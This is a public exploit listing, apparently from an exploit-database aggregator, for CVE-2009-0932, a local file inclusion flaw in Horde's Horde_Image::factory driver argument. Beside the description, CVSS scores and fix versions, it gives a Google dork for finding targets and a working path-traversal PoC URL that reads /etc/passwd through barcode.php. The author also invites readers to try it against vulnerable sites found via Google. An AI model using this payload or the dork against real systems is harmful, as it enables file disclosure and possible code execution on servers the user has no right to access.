Lucene search

K
exploitpackSkysbsbEXPLOITPACK:92EBAED74F33D666A341CBAC524DB41C
HistoryFeb 11, 2011 - 12:00 a.m.

Horde - Horde_Image::factory driver Argument Local File Inclusion

2011-02-1100:00:00
skysbsb
11

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

0.04 Low

EPSS

Percentile

92.1%

Horde - Horde_Image::factory driver Argument Local File Inclusion

# Exploit Title: Horde Horde_Image::factory driver Argument Local File
Inclusion
# Google Dork: intitle:horde
# Date: 10-02-2011
# Author: skysbsb
# Software Link: http://www.horde.org/download/
# Version: Horde 3.3.2
# Tested on: linux
# CVE : CVE-2009-0932

The original disclosure was done by Gunnar Wrobel from Horde team.. it was
found in a code audit (january 2009).
It's an old vuln(2009) but still unpublished in exploit-db. There is a lot
of vulnerables sites out there. Just try google =)


Vuln description:
The version of Horde, Horde Groupware, or Horde Groupware Webmail Edition
installed on the remote host fails to filter input to the 'driver' argument
of the  'Horde_Image::factory' method before using it to include PHP code in
'lib/Horde/Image.php'.  Regardless of PHP's 'register_globals' and
'magic_quotes_gpc' settings, an unauthenticated attacker can exploit this
issue to view arbitrary files or possibly to execute arbitrary PHP code on
the remote host, subject to the privileges of the web server user id.


Fix:
If using Horde, upgrade to version 3.3.3 / 3.2.4 or later. If using Horde
Groupware, upgrade to version 1.2.2 / 1.1.5 or later. If using Horde
Groupware Webmail Edition, upgrade to version 1.2.2/1.1.5 or later.


PoC:
http://www.vulnsite.com/horde/util/barcode.php
?type=../../../../../../../../../../../etc/./passwd%00



# skysbsb [*at*] gmail.com

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

0.04 Low

EPSS

Percentile

92.1%